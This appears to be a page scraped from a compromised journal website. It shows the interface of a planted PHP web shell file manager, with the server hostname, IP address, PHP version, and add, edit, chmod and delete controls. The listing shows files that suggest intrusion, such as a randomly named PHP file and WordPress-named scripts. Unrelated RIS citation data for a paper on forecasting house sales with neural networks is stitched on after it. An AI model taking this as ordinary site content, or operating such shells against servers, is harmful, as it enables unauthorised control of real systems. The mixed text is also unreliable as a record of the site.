Uname : Linux vps112573.inmotionhosting.com 4.18.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
Software : Apache
PHP : 8.0.30
IP Server : 213.165.251.118
Port : dmame-journal.org:443
Mail : ON
fa fa-folder-plus : Add Folder
fa fa-file-plus : Add File
fa fa-file-edit : Edit File
fa fa-edit : Rename
fa fa-file-signature : Chmod
fa fa-trash : Delete
Name Type Size Permission Last Modified Actions
. dir - 0755 2024-10-18 07:39:41
.. dir - 0755 2024-10-18 07:13:53
api dir - 0755 2024-10-18 07:24:11
cache dir - 0755 2024-10-18 08:03:10
classes dir - 0755 2024-10-18 07:24:11
controllers dir - 0755 2024-10-18 07:24:11
css dir - 0755 2024-10-18 07:24:11
dbscripts dir - 0755 2024-10-18 07:24:11
docs dir - 0755 2024-10-18 07:24:11
files dir - 0755 2024-10-18 07:24:11
.github dir - 0755 2024-09-29 10:30:14
js dir - 0755 2024-10-18 07:24:11
lib dir - 0755 2024-10-18 07:24:11
locale dir - 0755 2024-10-18 07:24:11
ofiles dir - 0755 2024-10-18 07:24:11
pages dir - 0755 2024-10-18 07:24:11
plugins dir - 0755 2024-10-18 07:24:11
public dir - 0755 2024-10-18 07:24:11
registry dir - 0755 2024-10-18 07:24:11
schemas dir - 0755 2024-10-18 07:24:11
styles dir - 0755 2024-10-18 07:24:11
template dir - 0755 2024-10-18 07:24:11
templates dir - 0755 2024-10-18 07:24:11
tools dir - 0755 2024-10-18 07:24:11
.well-known dir - 0755 2024-10-18 03:02:23
about.php text/x-php 335 B 0644 2024-10-18 03:18:18
config.inc.php text/plain 16.93 KB 0644 2024-09-14 11:09:58
config.TEMPLATE.inc.php text/plain 16.81 KB 0644 2023-06-30 05:51:36
cypress.json application/json 734 B 0644 2023-06-30 05:51:36
DMAME_PaperTemplate.doc application/vnd.openxmlformats-officedocument.wordprocessingml.document 977.62 KB 0644 2024-02-04 04:14:58
favicon.ico image/vnd.microsoft.icon 1.12 KB 0644 2023-06-30 05:51:36
.htaccess text/plain 1.45 KB 0444 2023-09-14 07:24:12
indeks.php application/x-empty 0 B 0644 2024-10-03 10:10:21
index.php text/x-php 11.48 KB 0444 1970-01-01 12:00:00
JVapok5YBtO.php text/html 288 B 0644 2024-10-18 03:07:16
MasonRow text/plain 34 B 0644 2024-10-18 07:39:41
php.ini text/plain 40 B 0644 2024-10-18 06:07:36
README.md text/plain 2.23 KB 0644 2023-06-30 05:51:36
robots.txt text/plain 278 B 0644 2024-10-18 06:38:41
wp-blog-header.php text/x-php 1.83 KB 0644 2024-10-18 07:24:11
wp-cron.php text/x-php 1.83 KB 0644 2024-10-18 07:24:11
Copyright © 2022 - Code By LIT COURSE TEAM
TY - JOUR AU - Tochaiwat, Kongkoon AU - Pultawee, Patcharida AU - Rinchumphu, Damrongsak PY - 2023/08/09 Y2 - 2024/10/18 TI - Sales rate forecasting of single-detached houses using artificial neural network technique JF - Decision Making: Applications in Management and Engineering JA - Decis. Mak. Appl. Manag. Eng. VL - 6 IS - 2 SE - Regular articles DO - 10.31181/dmame622023707 UR - https://dmame-journal.org/index.php/dmame/article/view/707 SP - 772-786 AB - <p class="DMAMEabstract" style="margin-top: 0in;">Although the predicted number of sold units per month is one of the most necessary information to study the feasibility of detached-housing estate projects, traditional forecasting methods are limited. The research objective was to apply the Artificial Neural Network (ANN) technique to develop a sales rate forecasting model by compiling factors from an appropriate literature review. Then, 100 housing project data were collected from market research reports and the projects' websites and analyzed using the ANN technique. The results showed the ANN network with 16 input nodes from 10 factors: Selling price, Number of bathrooms, Number of bedrooms, Distance from the main road, Distance from the bus stop, Distance from the expressway, Distance from the metro station, Distance from the gas station, Distance from the shopping mall, and Project location zone. The acquired model had a Root Mean Square Error (RMSE) of ±6.296, and the slope and R2 values of the linear regression analysis between the forecasted rate and the actual rate were 0.620 and 0.571, respectively. The findings guide real estate developers and academia on the factors affecting the sales rate and provide a decision support model for investment and design of projects and confirm the potential of ANN in solving the problem with limited numbers of data.</p> ER -